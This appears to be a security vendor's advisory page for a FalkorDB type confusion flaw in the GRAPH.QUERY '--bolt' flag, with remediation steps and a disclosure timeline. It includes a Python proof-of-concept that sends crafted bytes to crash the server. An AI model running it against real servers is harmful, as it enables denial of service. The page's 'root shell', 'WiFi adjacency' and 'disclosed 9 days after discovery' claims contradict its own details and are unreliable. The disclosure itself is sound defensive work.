CVE-2026-107911: Type Confusion via --bolt Flag on GRAPH.QUERY in FalkorDB

01/Description

What this actually is.

Technical background, root cause, and affected surface.

A type confusion in the GRAPH.QUERY argument parser (src/commands/cmd_dispatcher.c) in FalkorDB before 4.20.0 allows a remote authenticated Redis client to make the server dereference attacker-influenced memory. The parser accepts a --bolt flag from any client and casts the following argument, a RedisModuleString, directly to bolt_client_t* without checking its origin; result-set code then reads Bolt client fields at fixed offsets inside the Redis string object. This flag is parsed regardless of whether the Bolt port is enabled, so default configurations are affected.

Vendor: FalkorDB
Product: FalkorDB
Severity: High
CVSS Score: 7.5
Status: Fixed (v4.20.0)
Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-843

02/Proof of Concept

From one request
to root shell.

Reproduced in a sandboxed environment. Requires only LAN or WiFi adjacency.

VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

ScopeUnchanged

ImpactC:H / I:H / A:H

SeverityHigh

PoC · Exploitation Steps▲ trigger

01#!/usr/bin/env python302# poc_bolt_flag_type_confusion.py — 0DF-4: --bolt flag type confusion in GRAPH.QUERY03# Target: FalkorDB 4.18.10 (any authenticated Redis client)04# CWE: CWE-843 | ATT&CK: TA0004 / T106805#06# Status: AUTHORED, NOT YET EXECUTED.07# Requires Redis Python client.08import sys, redis09HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 6379 PASS = sys.argv[3] if len(sys.argv) > 3 else None10r = redis.Redis(host=HOST, port=PORT, password=PASS, decode_responses=False)11# Send GRAPH.QUERY with --bolt followed by an attacker-controlled string.12# The dispatcher (cmd_dispatcher.c:68) will cast this string's RedisModuleString*13# to a bolt_client_t* without validation.14#15# bolt_client_t struct layout (from src/bolt/bolt.h roughly):16# bool ws @ offset 0 (1 byte)17# bool reset @ small offset18# bool shutdown19# bool processing20# socket_t socket (int)21# bolt_state_t state (int)22# ... buffers ... callbacks ...23#24# RedisModuleString header (Redis internal robj) at offsets 0-15 typically holds25# (type<<4|encoding, refcount, lru bits, ptr). Reading these as bolt_client_t26# fields produces unpredictable but attacker-influenced values.27reply = r.execute_command("GRAPH.QUERY", "g", "RETURN 1", "--bolt", b"\xAA" * 256) print("Reply:", reply)28# Expected: crash, or response written to a wild pointer, or silent corruption.29# In sanitizer build: use-of-uninitialized-memory / heap-buffer-overflow in

# result-set formatter functions that read bolt_client->state.

03/Vulnerable Code

The bug, and the fix.

// src/commands/cmd_dispatcher.c:67-68 (identical in master 835d06e): } else if(!strcasecmp(arg, "--bolt")) { *bolt_client = (bolt_client_t *)argv[++i]; // unchecked provenance } // downstream at :271-274: RedisModuleCtx *redis_ctx = (bolt_client != NULL) ? bolt_client->ctx : NULL ; // derefs attacker-controlled bytes

04/Impact

What an attacker does to you.

Post-exploitation outcomes mapped to CVSS impact metrics.

High

A client allowed to run GRAPH.QUERY can make the module treat a Redis string object as a Bolt client structure, causing wild-pointer dereferences: at minimum a crash of the redis-server process, potentially memory disclosure or corruption. This crosses a security boundary where Redis ACLs restrict users to GRAPH.QUERY. Assessed from source review; not demonstrated beyond the dereference primitive.

CIA Impact

C:H · I:H · A:H

CWE-843

05/Remediation

Fix it. In this order.

A runbook, not a checklist. Sequence matters — assume compromise before you act.

Upgrade FalkorDB to 4.20.0 or later, where the --bolt flag and Bolt subsystem have been removed (PR #2170), or move to 6.x. Interim: restrict GRAPH.QUERY to trusted clients with Redis ACLs.

N/A

Securin advisory — For coordinated remediation support or threat-actor briefings related to CVE-2026-107911, contact disclose@securin.io

06/Disclosure Timeline

Vendors moved in days.
Attackers in hours.

Reconstructed from vendor advisories, CISA bulletins, and Securin research records.

2026-06-29

Source-level audit of FalkorDB v4.18.10; re-verified against upstream master 835d06e on 2026-06-24 (2026-04 to 2026-06-29)

2026-06-29

Reported to FalkorDB security team (security@falkordb.com) as part of a 6-finding disclosure pack; vendor acknowledged receipt the same day

2026-07-08

Vendor removed the Bolt subsystem (PR #2170, commit 0b11a00) - no advisory or credit

2026-07-13

FalkorDB 4.20.0 released without Bolt support

2026-09-27

90-day coordinated disclosure window ended with no further vendor response

2026-09-29

FalkorDB 6.0.0 released (Rust engine; C code base not present)

2026-10-09

Securin re-verified: Bolt code absent from 4.20.0, 4.20.7, 4.22.0 and 6.0.2 | CVE-2026-107911 assigned by Securin CNA

2026-10-09

CVE-2026-107911 published to the CVE List by Securin CNA (NVD import pending)

Disclosed 9 days after discovery

07/References

Cite, verify, go deeper.

Primary sources — NVD, CISA KEV, and machine-readable IoC feed.

NVD

NVD — CVE-2026-107911

nvd.nist.gov/vuln/detail/CVE-2026-107911 →

SEC

Securin VI — Full Technical Analysis

vi.securin.io →

GITHUB

https://github.com/FalkorDB/FalkorDB/pull/2170

https://github.com/FalkorDB/FalkorDB/pull/2170 →

GITHUB

https://github.com/FalkorDB/FalkorDB/commit/0b11a00b34b25c4d4fdfe55f0a35c8a00593bd7d

https://github.com/FalkorDB/FalkorDB/commit/0b11a00b34b25c4d4fdfe55f0a35c8a00593bd7d →

GITHUB

https://github.com/FalkorDB/FalkorDB/releases/tag/v4.20.0

https://github.com/FalkorDB/FalkorDB/releases/tag/v4.20.0 →

GITHUB

https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/commands/cmd_dispatcher.c

https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/commands/cmd_dispatcher.c →

CVE

https://www.cve.org/CVERecord?id=CVE-2026-107911

https://www.cve.org/CVERecord?id=CVE-2026-107911 →

Type Confusion via --bolt Flag on GRAPH.QUERY in FalkorDB

What this actually is.

From one requestto root shell.

The bug, and the fix.

What an attacker does to you.

C:H · I:H · A:H

Fix it. In this order.

Upgrade FalkorDB to 4.20.0 or later, where the --bolt flag and Bolt subsystem have been removed (PR #2170), or move to 6.x. Interim: restrict GRAPH.QUERY to trusted clients with Redis ACLs.

Vendors moved in days.Attackers in hours.

Source-level audit of FalkorDB v4.18.10; re-verified against upstream master 835d06e on 2026-06-24 (2026-04 to 2026-06-29)

Reported to FalkorDB security team (security@falkordb.com) as part of a 6-finding disclosure pack; vendor acknowledged receipt the same day

Vendor removed the Bolt subsystem (PR #2170, commit 0b11a00) - no advisory or credit

FalkorDB 4.20.0 released without Bolt support

90-day coordinated disclosure window ended with no further vendor response

FalkorDB 6.0.0 released (Rust engine; C code base not present)

Securin re-verified: Bolt code absent from 4.20.0, 4.20.7, 4.22.0 and 6.0.2 | CVE-2026-107911 assigned by Securin CNA

CVE-2026-107911 published to the CVE List by Securin CNA (NVD import pending)

Cite, verify, go deeper.

NVD — CVE-2026-107911

Securin VI — Full Technical Analysis

https://github.com/FalkorDB/FalkorDB/pull/2170

https://github.com/FalkorDB/FalkorDB/commit/0b11a00b34b25c4d4fdfe55f0a35c8a00593bd7d

https://github.com/FalkorDB/FalkorDB/releases/tag/v4.20.0

https://github.com/FalkorDB/FalkorDB/blob/v4.18.10/src/commands/cmd_dispatcher.c

https://www.cve.org/CVERecord?id=CVE-2026-107911

Let Securin level up your security posture.

From one request
to root shell.

Vendors moved in days.
Attackers in hours.